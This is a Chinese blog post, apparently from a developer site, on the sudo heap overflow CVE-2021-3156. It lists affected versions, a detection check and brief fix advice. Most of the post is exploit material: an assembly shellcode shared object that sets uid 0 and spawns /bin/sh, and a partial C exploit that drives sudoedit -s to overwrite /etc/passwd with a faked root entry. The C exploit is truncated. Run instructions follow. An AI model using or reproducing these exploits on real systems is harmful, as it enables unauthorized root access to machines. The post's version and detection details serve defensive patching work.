Linux sudo权限提升漏洞 CVE-2021-3156

漏洞背景

1月26日,Sudo发布了一份安全通知,修复了类似Unix的操作系统在命令参数中避免反斜杠时基于堆的缓冲区溢出漏洞。漏洞等级:高危,漏洞评分:7.0。当sudo在shell模式下通过-s或-i命令行选项运行命令时,它使用反斜杠来转义命令参数中的特殊字符。但是,当使用-s或-i标志运行sudodit时,实际上不会转义,这可能导致缓冲区溢出。只要sudoers文件(通常是/etc/sudoers)存在,攻击者就可以使用sudo来使用本地普通用户获得系统根权限。

漏洞影响版本

受影响版本

Sudo 1.8.2 – 1.8.31p2
Sudo 1.9.0 – 1.9.5p1
不受影响版本

sudo =>1.9.5p2

漏洞检测

用户可以使用非root的账户登录系统,运行“ sudoedit -s / ”命令。

若返回以“ sudoedit:”开头的错误,则当前系统可能存在安全风险。
不受影响的系统将显示以“ usage:”开头的错误响应。

漏洞利用

POC
#la.c
static void __attribute__((constructor)) _init(void) {
  __asm __volatile__(
      "addq $64, %rsp;"
      // setuid(0);
      "movq $105, %rax;"
      "movq $0, %rdi;"
      "syscall;"
      // setgid(0);
      "movq $106, %rax;"
      "movq $0, %rdi;"
      "syscall;"
      // dup2(0, 1);
      "movq $33, %rax;"
      "movq $0, %rdi;"
      "movq $1, %rsi;"
      "syscall;"
      // dup2(0, 2);
      "movq $33, %rax;"
      "movq $0, %rdi;"
      "movq $2, %rsi;"
      "syscall;"
      // execve("/bin/sh");
      "movq $59, %rax;"
      "movq $0x0068732f6e69622f, %rdi;"
      "pushq %rdi;"
      "movq %rsp, %rdi;"
      "movq $0, %rdx;"
      "pushq %rdx;"
      "pushq %rdi;"
      "movq %rsp, %rsi;"
      "syscall;"
      // exit(0);
      "movq $60, %rax;"
      "movq $0, %rdi;"
      "syscall;");
}
exp
by Baron Samedit of Qualys
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <assert.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <pwd.h>

// !!! best value of this varies from system-to-system !!! 
// !!! you will probably need to tune this !!! 
#define RACE_SLEEP_TIME 10000

char *target_file;
char *src_file;

size_t query_target_size()
{
    struct stat st;
    stat(target_file, &st);
    return st.st_size;
}

char* read_src_contents()
{
    FILE* f = fopen(src_file, "rb");
    if (!f) {
        puts("oh no baby what are you doing :(");
        abort();
    }
    fseek(f, 0, SEEK_END);
    long fsize = ftell(f);
    fseek(f, 0, SEEK_SET);
    char *content = malloc(fsize + 1);
    fread(content, 1, fsize, f);
    fclose(f);
    return content;
}

char* get_my_username()
{
    // getlogin can return incorrect result (for example, root under su)!
    struct passwd *pws = getpwuid(getuid());
    return strdup(pws->pw_name);
}

int main(int my_argc, char **my_argv)
{

    
    if (my_argc != 3) {
        puts("./meme <target file> <src file>");
        puts("Example: ./meme /etc/passwd my_fake_passwd_file");
        return 1;
    }
    target_file = my_argv[1];
    src_file = my_argv[2];
    printf("we will overwrite %s with shit from %s\n", target_file, src_file);

    char* myusername = get_my_username();
    printf("hi, my name is %s\n", myusername);

    size_t initial_size = query_target_size();
    printf("%s is %zi big right now\n", target_file, initial_size);

    char* shit_to_write = read_src_contents();

    char memedir[1000];
    char my_symlink[1000];
    char overflow[1000];

    char* bigshit = calloc(1,0x10000);
    memset(bigshit, 'A', 0xffff); // need a big shit in the stack so the write doesn't fail with bad address

    char *argv[] = {"/usr/bin/sudoedit", "-A", "-s", "\\",
    overflow,
    NULL
    };

因违,以下内容暂时私发分享

执行:

gcc exploit.c
cp /etc/passwd fakepasswd
modify fakepasswd so your uid is 0
./a.out

漏洞修复

1、下载升级sudo软件包

2、对于无法立即更新的用户,建议使用systemtap

  • 4
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 16
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 16
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值